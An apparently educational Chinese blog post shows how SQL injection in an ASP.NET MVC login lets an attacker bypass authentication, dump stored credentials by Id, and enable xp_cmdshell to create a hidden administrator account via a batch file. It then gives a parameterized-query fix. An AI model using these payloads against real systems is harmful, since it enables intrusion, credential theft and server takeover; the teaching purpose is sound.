湖南移动网站建设,柳州网站建设找哪家好,怎么做自己的微信小程序,网站系统设计说明书前两天#xff0c;带着学生们学习了简单的ASP.NET MVC#xff0c;通过ADO.NET方式连接数据库#xff0c;实现增删改查。 可能有一部分学生提前预习过#xff0c;在我写登录SQL的时候#xff0c;他们鄙视我说#xff1a;“老师你这SQL有注入#xff0c;随便都能登录了。不… 前两天带着学生们学习了简单的ASP.NET MVC通过ADO.NET方式连接数据库实现增删改查。 可能有一部分学生提前预习过在我写登录SQL的时候他们鄙视我说“老师你这SQL有注入随便都能登录了。不能这么写” “呦小伙子这都知道了那你说说看 啥是注入注入只能拿来绕过登录么” 好吧竟然在老子面前装逼看来不给你点儿颜色看看你还真是不明白天有多高。。 于是乎。。哈哈。大清早的轻松在班里装了一手好逼。。 呵呵。不说了下面我把那个项目重写一下发上来吧。演示一下注入有哪些危害。怎么避免等。 (*^_^*) 大牛勿喷。 ▁▃▅ 浅谈SQL注入风险 - 一个Login拿下Server ▅▃▁ 目录 数据库Web项目演示注入避免完了 本文主要就是介绍SQL注入基本手法危害以及如何解决。 技术有点渣渣大牛勿喷。。。。 一、数据库。 只创建了一个Admin表结构如下 1 create table Admin
2 ( 3 Id int primary key identity(1,1) not null, 4 Username nvarchar(50) not null, 5 Password nvarchar(50) not null 6 ) 7 go 插入三条测试数据如下 二、Web项目 这里为了演示所以我只搭建了一个简单的三层结构ASP.NET MVC作为UIDALBLL以及模型Model 1. Model模型层的AdminInfo.cs 1 using System;2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 6 namespace Guying.BlogsDemo.Model 7 { 8 /// summary 9 /// Admin 模型 10 /// /summary 11 public class AdminInfo 12 { 13 /// summary 14 /// 编号 15 /// /summary 16 public int Id { get; set; } 17 18 /// summary 19 /// 账号 20 /// /summary 21 public string Username { get; set; } 22 23 /// summary 24 /// 密码 25 /// /summary 26 public string Password { get; set; } 27 } 28 } AdminInfo.cs 2. Web.config添加连接字符串 1 connectionStrings
2 add nameBlogDemo connectionStringserver.;databaseBlogDemo;uidsa;pwdLonelyShadow providerNameSystem.Data.SqlClient/ 3 /connectionStrings 3. DAL数据层的DBHelper.cs辅助类 1 using System;2 using System.Collections.Generic; 3 using System.Configuration; 4 using System.Linq; 5 using System.Text; 6 7 namespace Guying.BlogsDemo.DAL 8 { 9 /// summary 10 /// 数据访问辅助类 11 /// /summary 12 public class DBHelper 13 { 14 /// summary 15 /// BlogDemo 数据库链接字符串 16 /// /summary 17 public static readonly string CONNECTIONSTRING ConfigurationManager.ConnectionStrings[BlogDemo].ConnectionString; 18 } 19 } DBHelper.cs 4. DAL数据层的AdminService.cs中写了一个登录的Login方法SQL存在注入 1 using System;2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Data.SqlClient; 6 using Guying.BlogsDemo.Model; 7 8 namespace Guying.BlogsDemo.DAL 9 { 10 /// summary 11 /// Admin 数据提供 12 /// /summary 13 public class AdminService 14 { 15 /// summary 16 /// Admin 登录 17 /// /summary 18 /// param nameadminInfo登录目标对象/param 19 /// returns返回结果对象null为登录失败/returns 20 public AdminInfo Login(AdminInfo adminInfo) 21 { 22 AdminInfo result null; 23 string sql string.Format( select Id,Username,Password from Admin where Username{0} and Password{1} , adminInfo.Username, adminInfo.Password); 24 using (SqlConnection conn new SqlConnection(DBHelper.CONNECTIONSTRING)) 25 { 26 conn.Open(); 27 using (SqlCommand comm new SqlCommand(sql, conn)) 28 { 29 using (SqlDataReader reader comm.ExecuteReader()) 30 { 31 if (reader.Read()) 32 { 33 result new AdminInfo() 34 { 35 Id (int)reader[Id], 36 Username reader[Username].ToString(), 37 Password reader[Password].ToString() 38 }; 39 } 40 } 41 } 42 } 43 return result; 44 } 45 } 46 } AdminService.csSQL存在注入 5. BLL业务逻辑的AdminManager.cs 1 using System;2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using Guying.BlogsDemo.DAL; 6 using Guying.BlogsDemo.Model; 7 8 namespace Guying.BlogsDemo.BLL 9 { 10 public class AdminManager 11 { 12 private AdminService _AdminService null; 13 14 public AdminManager() 15 { 16 if (_AdminServicenull) 17 { 18 _AdminService new AdminService(); 19 } 20 } 21 22 /// summary 23 /// Admin 登录 24 /// /summary 25 /// param nameadminInfo登录目标对象/param 26 /// returns返回结果对象null为登录失败/returns 27 public AdminInfo Login(AdminInfo adminInfo) 28 { 29 return _AdminService.Login(adminInfo); 30 } 31 } 32 } AdminManager.cs 6. WebUI层的HomeController 1 using System;2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Web; 5 using System.Web.Mvc; 6 using Guying.BlogsDemo.Model; 7 using Guying.BlogsDemo.BLL; 8 using System.Text; 9 10 namespace Guying.BlogsDemo.WebUI.Controllers 11 { 12 public class HomeController : Controller 13 { 14 [HttpGet] 15 public ActionResult Login() 16 { 17 return View(); 18 } 19 20 [HttpPost] 21 public ActionResult Login(AdminInfo adminInfo) 22 { 23 AdminManager _AdminManager new AdminManager(); 24 adminInfo _AdminManager.Login(adminInfo); 25 JsonResult json new JsonResult() { Data adminInfo, ContentEncoding Encoding.UTF8 }; 26 return json; 27 } 28 29 } 30 } WebUI的HomeController.cs 7. WebUI的Views/Home/Login 1 model Guying.BlogsDemo.Model.AdminInfo2 3 {4 ViewBag.Title Login; 5 } 6 7 link href~/CSS/home.login.css relstylesheet / 8 9 div classbox-max 10 h2Login/h2 11 hr / 12 13 using (Html.BeginForm()) 14 { 15 Html.AntiForgeryToken() 16 Html.ValidationSummary(true) 17 18 table 19 tr 20 th账号/th 21 td 22 Html.EditorFor(model model.Username) 23 Html.ValidationMessageFor(model model.Username) 24 /td 25 /tr 26 tr 27 th 28 密码 29 /th 30 td 31 Html.EditorFor(model model.Password) 32 Html.ValidationMessageFor(model model.Password) 33 /td 34 /tr 35 tr 36 td colspan2 aligncenter 37 input typesubmit value登 录 / 38 /td 39 /tr 40 /table 41 } 42 /div Views/Home/Login.cshtml 8. WebUIHome/Login的css 1 *{transition:all 0.3s;}
2 body{margin:0px; padding:0px; background-color:#F8F8F8;} 3 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;} 4 .box-max table{width:100%;} 5 .box-max table tr{line-height:40px;} 6 .box-max table th{text-align:right;} 7 .box-max table td input{width:100%;} 8 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;} 9 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;} home.login.css 9. 运行结果 三、注入 1. 废话不多说、直接测试注入。 账号 or 11 -- 密码(随意) fuck 结果如下 你还在认为注入只是为了绕过登录进入网站么 那你就错了。 竟然返回的是一个包含整个用户信息的Json 这也是一个程序设计的严重不当 不知道大家前阵子还记得某酒店、某招聘网站就是因为移动App被人抓包截取到了一个request提交id则会返回其所有基本信息。 最后导致千万级数据泄露。 也就是类似于下面这样操作 2. 获取所有用户信息 这里需要主键字段我就不注入检测了假设我们已经测出了主键为ID。 那么我们可以登录这样写(密码随意) 账号 or (11 and Id1) -- 返回结果 {Id:1,Username:admin,Password:admin1234} 账号 or (11 and Id2) -- 返回结果 {Id:2,Username:zhangsan,Password:666666} 账号 or (11 and Id3) -- 返回结果 {Id:3,Username:lisi,Password:888888} 如果我们写一个程序循环发送这个请求将获得的数据保存那么你的用户数据裤子是不是也要被脱得干干净净了 3. 下一步经典的开启xp_cmdshell看不懂的自行Google 账号 or 11; exec sp_configure show advanced options,1; reconfigure; exec sp_configure xp_cmdshell,1; reconfigure; -- 后面操作的结果就不用看了也是返回前面登录用户的Json但是已经成功执行后面的代码了。 然后xp_cmdshell已经获取了你还想干什么不行 这里我只做一个概念性的测试演示一下其危害。 根据项目的不同注入可能还会导致更严重的后果。 当然你也可以创建文件添加任务等例如这样 添加隐藏账号并提升管理员组 账号填写 or 11; exec xp_cmdshell echo net user fuck 123456 /add D:\a.bat echo net localgroup administrators fuck /add D:\a.bat echo exit D:\a.bat -- 修改权限/修改所有者 账号填写 or 11; exec xp_cmdshell icacls D:\a.bat /setowner everyone icacls D:\a.bat /grant everyone:F -- 执行 账号填写 or 11; exec xp_cmdshell D: D:\a.bat -- 结果 好吧上面DOS你懂得。 当然你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。 四、如何避免 这个应该很简单吧其实就是我们日常编码习惯的问题。 登录SQL可以改成通过SqlParameter传参的方式返回结果可以设置返回bool来标识成功/失败修改后的方法如下 1 using System;2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Data.SqlClient; 6 using Guying.BlogsDemo.Model; 7 8 namespace Guying.BlogsDemo.DAL 9 { 10 /// summary 11 /// Admin 数据提供 12 /// /summary 13 public class AdminService 14 { 15 /// summary 16 /// Admin 登录 17 /// /summary 18 /// param nameadminInfo登录目标对象/param 19 /// returns返回操作结果true成功 / false失败/returns 20 public bool Login(AdminInfo adminInfo) 21 { 22 int count 0; 23 string sql select count(1) from Admin where UsernameUsername and PasswordPassword ; 24 using (SqlConnection conn new SqlConnection(DBHelper.CONNECTIONSTRING)) 25 { 26 conn.Open(); 27 using (SqlCommand comm new SqlCommand(sql, conn)) 28 { 29 comm.Parameters.AddRange(new[] { new SqlParameter(Username, adminInfo.Username), new SqlParameter(Password, adminInfo.Password) }); 30 count (int)comm.ExecuteScalar(); 31 } 32 } 33 return count 0; 34 } 35 } 36 } 修改后的登录方法 平时写代码多注意下这些问题。 当然数据库的存储过程也不是没卵用的咸鱼记得多用。 五、 没了 就是演示一下危害什么年代了都不应该出现注入的问题了吧。 毕竟每个项目不一样指不定注入还会导致什么问题呢。 最后。。。。。。。。。。。大牛勿喷。么么哒~ http://www.cnblogs.com/LonelyShadow/p/4925127.html